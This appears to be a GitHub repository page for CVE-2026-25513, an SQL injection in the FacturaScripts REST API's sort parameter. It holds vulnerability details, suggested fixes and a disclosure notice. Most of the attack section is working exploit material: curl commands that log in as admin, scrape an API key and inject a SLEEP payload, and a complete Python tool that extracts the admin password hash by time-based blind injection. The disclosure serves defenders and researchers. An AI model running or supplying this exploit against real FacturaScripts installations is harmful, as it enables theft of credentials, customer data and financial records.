lukasz-rybak/CVE-2026-25513

GitHub: lukasz-rybak/CVE-2026-25513

该项目提供了针对 FacturaScripts API ORDER BY 子句 SQL 注入漏洞的验证代码及自动化利用脚本。

Stars: 0 | Forks: 0

# CVE-2026-25513: FacturaScripts API ORDER BY 子句存在 SQL 注入漏洞 ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2026-25513](https://nvd.nist.gov/vuln/detail/CVE-2026-25513) | | **严重程度** | HIGH | | **公告** | [查看公告](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99) | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## 受影响产品 - **facturascripts/facturascripts** (版本: < 2025.81) ## CWE 分类 - CWE-20: 输入验证不恰当 - CWE-89: SQL 命令中使用的特殊元素没有正确中和 ('SQL 注入') - CWE-943: 数据查询逻辑中的特殊元素没有正确中和 - CWE-1286: 输入的语法正确性验证不恰当 ## 详情 ### 摘要 **FacturaScripts 在其 REST API 中包含一个严重的 SQL 注入漏洞**,允许经过身份验证的 API 用户通过 `sort` 参数执行任意 SQL 查询。该漏洞存在于 `ModelClass::getOrderBy()` 方法中,用户提供的排序参数在没有验证或清理的情况下直接拼接到 SQL ORDER BY 子句中。这影响了**所有支持排序功能的 API 端点**。 ### 详情 FacturaScripts REST API 通过各种端点(例如 `/api/3/users`、`/api/3/attachedfiles`、`/api/3/customers`)暴露数据库模型。这些端点支持 `sort` 参数,允许客户端指定结果排序。API 通过 `ModelClass::all()` 方法处理此参数,该方法调用了存在漏洞的 `getOrderBy()` 函数。 #### 漏洞代码位置 **1. 传统 模型:** **文件:** `/Core/Model/Base/ModelClass.php` **方法:** `getOrderBy()` 直接拼接来自 `$order` 数组的键和值。 **2. 现代 模型 (DbQuery):** **文件:** `/Core/DbQuery.php` **方法:** `orderBy()` **行号:** 255-259 ``` // If it contains parentheses, it is not escaped (VULNERABILITY!) if (strpos($field, '(') !== false && strpos($field, ')') !== false) { $this->orderBy[] = $field . ' ' . $order; return $this; } ``` 此检查旨在允许 SQL 函数,但未能验证它们,从而允许任意 SQL 注入。 ### 概念验证 (PoC) #### 前置条件 - 有效的 API 身份验证令牌 (X-Auth-Token header) - 访问 FacturaScripts API 端点的权限 #### 分步验证 (CLI) 由于 FacturaScripts 需要现有的 API 密钥,我们首先通过 Web 界面登录以查找有效的密钥。 **1. 登录并检索有效的 API 密钥:** 我们处理 CSRF 令牌和会话 cookie 以访问设置并检索第一个可用的密钥。 ``` # 登录 TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1) curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN" # 查找第一个现有 API key 的 ID API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1) # 使用其 ID 提取 API key 字符串 API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1) echo "Using API Key: $API_KEY" ``` **2. 验证基于时间的 SQL 注入:** 在 `X-Auth-Token` header 中使用提取的 `API_KEY`。 ``` # 普通请求 (baseline) time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1" # 注入请求 (sort key 中的 SLEEP payload) time curl -g -s -H "X-Auth-Token: $API_KEY" \ "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC" ``` **预期结果:** 注入的请求将花费明显更长的时间(延迟取决于数据库记录),从而确认 SQL 注入。 #### 自动化利用工具 该脚本自动登录 FacturaScripts,检索有效的 API 密钥,并使用基于时间的盲注 技术执行区分大小写的数据提取。 ``` import requests import time import string import re # 配置 BASE_URL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin" API_ENDPOINT = "/api/3/users" session = requests.Session() def get_token(url): """Extract multireqtoken from any page""" res = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text) return match.group(1) if match else None def get_api_key(): """Logs in and retrieves the first active API key dynamically""" print(f"[*] Logging in as {USERNAME}...") # 1. Login flow token = get_token(f"{BASE_URL}/login") if not token: print("[!] Failed to get initial CSRF token") return None login_data = { "fsNick": USERNAME, "fsPassword": PASSWORD, "action": "login", "multireqtoken": token } res = session.post(f"{BASE_URL}/login", data=login_data) if "Dashboard" not in res.text: print("[!] Login failed!") return None print("[+] Login successful.") # 2. Retrieve API Key ID from settings print("[*] Accessing API settings...") res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey") id_match = re.search(r'EditApiKey\?code=(\d+)', res.text) if not id_match: print("[!] No API keys found in system!") return None api_id = id_match.group(1) # 3. Get the actual API key string print(f"[*] Retrieving API key for ID {api_id}...") res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}") key_match = re.search(r'name="apikey" value="([^"]+)"', res.text) if not key_match: print("[!] Failed to extract API key from page!") return None return key_match.group(1) def time_based_sqli(api_key, payload): """Execute time-based SQL injection and measure response time""" headers = {"X-Auth-Token": api_key} params = { 'limit': 1, f'sort[{payload}]': 'ASC' } start = time.time() try: requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10) except requests.exceptions.ReadTimeout: return 10.0 except: pass return time.time() - start def extract_data(api_key, query, length=60): """Extracts data char by char using time-based blind SQLi""" extracted = "" charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./" print(f"[*] Starting extraction for query: {query}") for i in range(1, length + 1): found = False for char in charset: # Added BINARY to force case-sensitive comparison payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))" elapsed = time_based_sqli(api_key, payload) if elapsed >= 2.0: extracted += char print(f"[+] Found char at pos {i}: {char} -> {extracted}") found = True break if not found: break return extracted def main(): print("="*60) print(" FacturaScripts Dynamic SQLi Exfiltration Tool") print("="*60) # 1. Get API Key dynamically api_key = get_api_key() if not api_key: return print(f"[+] Using API Key: {api_key}") # 2. Verify vulnerability print("[*] Verifying vulnerability...") if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0: print("[+] System is VULNERABLE!") else: print("[-] System not vulnerable or API key invalid.") return # 3. Extract Admin Password Hash admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'") print(f"\n[!] FINAL ADMIN HASH: {admin_hash}") if __name__ == "__main__": main() ``` image ### 影响 #### 数据机密性 - **通过盲 SQL 注入技术完全泄露数据库** - 提取敏感数据,包括: - 用户凭据和 API 密钥 - 客户 PII (个人身份信息) - 财务记录和交易数据 - 商业情报和定价信息 - 系统配置和机密信息 #### 谁受影响? - **使用 FacturaScripts API 进行集成的组织** - **使用该 API 的移动应用程序和第三方集成** - **其数据可通过 API 访问的所有用户** - **拥有 API 访问权限的合作伙伴** ### 建议修复 #### 立即补救 **选项 1: 实施严格的白名单验证 (推荐)** ``` // File: Core/Model/Base/ModelClass.php // Method: getOrderBy() private static function getOrderBy(array $order): string { $result = ''; $coma = ' ORDER BY '; // Get valid column names from model $validColumns = array_keys(static::getModelFields()); foreach ($order as $key => $value) { // Validate column name against whitelist if (!in_array($key, $validColumns, true)) { throw new \Exception('Invalid column name for sorting: ' . $key); } // Validate sort direction (must be ASC or DESC) $value = strtoupper(trim($value)); if (!in_array($value, ['ASC', 'DESC'], true)) { throw new \Exception('Invalid sort direction: ' . $value); } // Escape column name $safeColumn = self::$dataBase->escapeColumn($key); $result .= $coma . $safeColumn . ' ' . $value; $coma = ', '; } return $result; } ``` **选项 2: 使用数据库转义函数** ``` private static function getOrderBy(array $order): string { $result = ''; $coma = ' ORDER BY '; foreach ($order as $key => $value) { // Escape identifiers and validate direction $safeColumn = self::$dataBase->escapeColumn($key); $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC']) ? strtoupper($value) : 'ASC'; $result .= $coma . $safeColumn . ' ' . $safeDirection; $coma = ', '; } return $result; } ``` **选项 3: 使用查询构建器模式** ``` // Refactor to use prepared statements public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array { $query = self::table(); // Apply WHERE conditions foreach ($where as $condition) { $query->where($condition); } // Apply ORDER BY with validation foreach ($order as $column => $direction) { if (!array_key_exists($column, static::getModelFields())) { continue; // Skip invalid columns } $query->orderBy($column, $direction); } return $query->offset($offset)->limit($limit)->get(); } ``` #### API 安全最佳实践 ``` // Add to API configuration $config = [ 'max_sort_fields' => 3, // Limit number of sort fields 'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist 'default_sort' => 'id ASC', // Safe default ]; ``` ### 致谢 **发现者:** Łukasz Rybak ## 参考资料 - https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99 - https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605 - https://nvd.nist.gov/vuln/detail/CVE-2026-25513 - https://github.com/advisories/GHSA-cjfx-qhwm-hf99 ## 免责声明 此 CVE 是按照协调漏洞披露实践负责任地披露的。此处提供的信息仅供教育和防御目的使用。
标签:API安全, API密钥检测, CISA项目, CVE, CVE-2026-25513, CWE-89, FacturaScripts, JSON输出, ORDER BY注入, PHP漏洞, REST API, Web安全, 后端安全, 多线程, 安全漏洞, 数字签名, 蓝队分析, 输入验证, 逆向工具, 高危漏洞